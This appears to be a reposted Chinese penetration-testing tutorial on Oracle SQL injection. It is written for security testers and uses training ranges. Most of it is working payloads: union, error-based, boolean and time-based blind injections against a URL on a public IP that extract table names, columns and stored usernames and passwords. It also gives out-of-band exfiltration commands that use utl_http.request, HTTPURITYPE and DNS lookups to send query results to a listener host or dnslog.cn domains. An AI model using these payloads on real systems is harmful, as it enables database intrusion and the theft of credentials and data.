Oracle数据库注入
0x01 前言在渗透测试过程中,总是遇到不熟悉的数据库,知道了有SQL注入漏洞但是无法利用,这总让我很苦恼。因为网上的文章很多都是基于Mysql数据库的,当遇到Oracle数据库时有些数据库层面的不同点对于我们测试总会有点困扰,无法成功利用。故学习了Oracle数据库注入的相关知识,在此总结分享给大家,希望能够对安全从业人员有所帮助。全文基于对于SQL注入具有一定理解,并且能够在Mysql数据库进
转载https://xz.aliyun.com/t/9940
0x01 前言
在渗透测试过程中,总是遇到不熟悉的数据库,知道了有SQL注入漏洞但是无法利用,这总让我很苦恼。因为网上的文章很多都是基于Mysql数据库的,当遇到Oracle数据库时有些数据库层面的不同点对于我们测试总会有点困扰,无法成功利用。故学习了Oracle数据库注入的相关知识,在此总结分享给大家,希望能够对安全从业人员有所帮助。
全文基于对于SQL注入具有一定理解,并且能够在Mysql数据库进行注入的基础上进行阐述。本文旨在讲述Oracle数据库多种情况下如何进行注入,注重实战,相关概念问题请自行查阅资料,谢谢理解~
0x02 注入点确定
跟其他数据库一样,检测注入点都是可以通过拼接and语句进行判断。这里通过and 1=1 和and 1=2进行判断。实战中还可以通过延时函数进行判断。
http://219.153.49.228:43469/new_list.php?id=1%20and%201=1
http://219.153.49.228:43469/new_list.php?id=1%20and%201=2
0x03 显错注入
1、判断字段数为2
与其他注入一样,这里通过order by来判断字段数。因为order by 2页面正常,order by 3页面不正常,故判断当前字段数为2。
http://219.153.49.228:43469/new_list.php?id=1%20order%20by%202
2、获取显错点
联合查询这里使用了union select,oracle数据库与mysql数据库不同点在于它对于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取显错点了,需要在字符型字段使用字符型数据,整型字段使用整型数据才可以。如下,两个字段都为字符型,故使用union select 'null','null'。
(在有些情况下也采用union all select的形式进行联合查询。union all select与union select的不同点可以很容易理解为all表示输出所有,也就是当数据出现相同时,将所有数据都输出;union select则会将相同数据进行过滤,只输出其中一条。)
#联合查询
http://219.153.49.228:43469/new_list.php?id=-1 union select null,null from dual
#修改null为'null',判断字段类型均为字符型
http://219.153.49.228:43469/new_list.php?id=-1 union select 'null','null' from dual
3、查询数据库版本信息
http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual
4、获取当前数据库连接用户
http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select sys_context('userenv','current_user') from dual) from dual
http://219.153.49.228:44768/new_list.php?id=-1 union select '1',user from dual
5、查询当前数据库库名
http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select instance_name from V$INSTANCE) from dual
6、查询数据库表名
查询表名一般查询admin或者user表
直接查询
获取第一个表名LOGMNR_SESSION_EVOLVE$
http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual
http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual
http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual
模糊搜索查询
获取sns_users表名
http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual
7、查询数据库列名
直接查询
获取sns_users表里的字段
http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dualhttp://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME') from dualhttp://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME') from dual……………http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME' and column_name not in 'PROTOCOL' and column_name not in 'SPARE1' and column_name not in 'DB_USERNAME' and column_name not in 'OID' and column_name <> 'EVENTID' and column_name <> 'NAME' and column_name <> 'TABLE_OBJNO') from dual
获取如下字段:USER_NAMEAGENT_NAMEPROTOCOLSPARE1DB_USERNAMEOIDEVENTIDNAMETABLE_OBJNOUSAGEUSER_PWD…………
模糊搜索查询
http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%') from dualhttp://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%' and column_name <> 'USER_NAME') from dual
8、查询数据库数据
获取账号密码字段内容
http://219.153.49.228:43469/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1
http://219.153.49.228:43469/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'
http://219.153.49.228:43469/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'
9、美化输出
Oracle采用||进行数据连接
http://219.153.49.228:44768/new_list.php?id=-1 union select '用户名:'||USER_NAME,'密码:'||USER_PWD from "sns_users" where rownum=1
0x04 报错注入
报错注入是一种通过函数报错前进行子查询获取数据,再通过错误页面回显的一种注入手法,下面介绍几种报错注入函数以及获取一些常见的获取数据,实际操作只需要将子查询内的查询语句进行替换即可。
1、ctxsys.drithsx.sn()
#获取当前数据库用户 ORACLE1?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
#获取数据库版本信息?id=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) --
2、XMLType()
?id=1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
3、dbms_xdb_version.checkin()
#获取数据库版本信息?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --
4、bms_xdb_version.makeversioned()
#获取当前数据库用户 ORACLE1?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
5、dbms_xdb_version.uncheckout()
#获取数据库版本信息?id=1 and (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --
6、dbms_utility.sqlid_to_sqlhash()
#获取数据库版本信息?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --
7、ordsys.ord_dicom.getmappingxpath()
?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user)--
8、utl_inaddr.*()
utl_inaddr(用于取得局域网或Internet环境中的主机名和IP地址)
?id=1 and 1=utl_inaddr.get_host_name((select user from dual)) --?id=1 and 1=utl_inaddr.get_host_address((select user from dual)) --
0x05 布尔型盲注
常用猜解:
#猜长度?id=1 and 6=(select length(user) from dual)--#截取值猜ascii码?id=1 and (select ascii(substr(user,1,1)) from dual)>83?id=1 and (select ascii(substr(user,1,1)) from dual)=83
1、decode函数布尔盲注
decode(字段或字段的运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3
测试用户名长度
http://219.153.49.228:44768/new_list.php?id=1 and 6=(select length(user) from dual) --
测试当前用户是否为SYSTEM
#如果是system用户则返回正常,不是则返回不正常http://219.153.49.228:44768/new_list.php?id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --
#使用substr截断,逐个字段进行猜解http://219.153.49.228:44768/new_list.php?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) -- ?id=1 and 1=(select decode(substr(user,2,1),'Y',1,0) from dual) -- ?id=1 and 1=(select decode(substr(user,3,1),'S',1,0) from dual) --?id=1 and 1=(select decode(substr(user,4,1),'T',1,0) from dual) --?id=1 and 1=(select decode(substr(user,5,1),'E',1,0) from dual) --?id=1 and 1=(select decode(substr(user,6,1),'M',1,0) from dual) --#当然也可以配合ascii码进行猜解?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',1,0) from dual) --
2、instr函数布尔盲注
instr函数的应用:
select instr('abcdefgh','de') position from dual;#返回结果:4
盲注中的应用:
http://219.153.49.228:44768/new_list.php?id=1 and 1=(instr((select user from dual),'SYS')) --?id=1 and 4=(instr((select user from dual),'T')) --
0x06 延时盲注
1、检测漏洞存在
DBMS_PIPE.RECEIVE_MESSAGE函数的作用是从指定管道获取消息。
具体用法为:DBMS_PIPE.RECEIVE_MESSAGE('pipename',timeout)
pipename为varchar(128)的字符串,用以指定管道名称,在这里我们输入任意值即可。
timeout为integer的可选输入参数,用来指定等待时间。
常用payload如下:
http://219.153.49.228:44768/new_list.php?id=1 and 1=dbms_pipe.receive_message('o', 10)--
2、配合decode函数延时盲注
只需要将延时语句放入decode函数中即可
#直接猜解字符?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --#通过ascii猜解字符?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',dbms_pipe.receive_message('o',5),0) from dual) --
3、使用其他延时查询来判断
如(select count(*) from all_objects) ,因为查询结果需要一定的时间,在无法使用dbms_pipe.receive_message()函数的情况下可以使用这个。具体操作只需要将decode()函数的返回结果进行替换即可。
#直接猜解字符?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) --#通过ascii猜解字符?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',(select count(*) from all_objects),0) from dual) --
0x07 外带数据注入
1、url_http.request()
使用此方法,用户需要有utl_http访问网络的权限
首先检测是否支持,页面返回正常则表示支持
?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

然后python起一个http服务,或者开启nc监听。这里我使用python开启一个服务:
python3 -m http.server 4455
#子查询数据库版本信息并访问python起的http服务?id=1 and utl_http.request('http://192.168.100.130:4455/'||(select banner from sys.v_$version where rownum=1))=1--#http访问时可以将||进行URL编码?id=1 and utl_http.request('http://192.168.100.130:4455/'%7C%7C(select banner from sys.v_$version where rownum=1))=1--
2、utl_inaddr.get_host_address()函数
#使用dnslog外带数据?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.eeaijt.dnslog.cn') from dual)is not null --
3、SYS.DBMS_LDAP.INIT()函数
网上说是可以使用,我试着不行,收不到数据,不知道是不是环境问题。
?id=1 and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.51prg6.dnslog.cn',80) from dual)is not null --?id=1 and (select DBMS_LDAP.INIT((select user from dual)||'.51prg6.dnslog.cn',80) from dual)is not null --
4、HTTPURITYPE()函数
?id=1 and (select HTTPURITYPE('http://192.168.100.130:4455/'||(select user from dual)).GETCLOB() FROM DUAL)is not null --
同样需要python起一个http服务,或者nc创建监听
虽然访问404,但是同样成功外带数据。
0x08 总结
Oracle数据库注入跟日常的注入其实没有什么太大的分别,需要注意数据类型的一致性和常用表名列名的不同即可,在sql注入的原理上都是拼接sql语句并执行。在实战中企业还是有很大部分使用Oracle数据库,故在此进行分析总结,希望能够对渗透测试人员有所帮助。
以上测试靶场采用墨者学院Oracle注入靶场、掌控安全Oralce注入靶场以及本地搭建的Oracle数据库,在实战中可能会遇到waf等安全设备的拦截,后续将针对Oracle数据库waf绕过编写一篇文章,敬请期待ing~
转载于https://xz.aliyun.com/t/9940
更多推荐





































所有评论(0)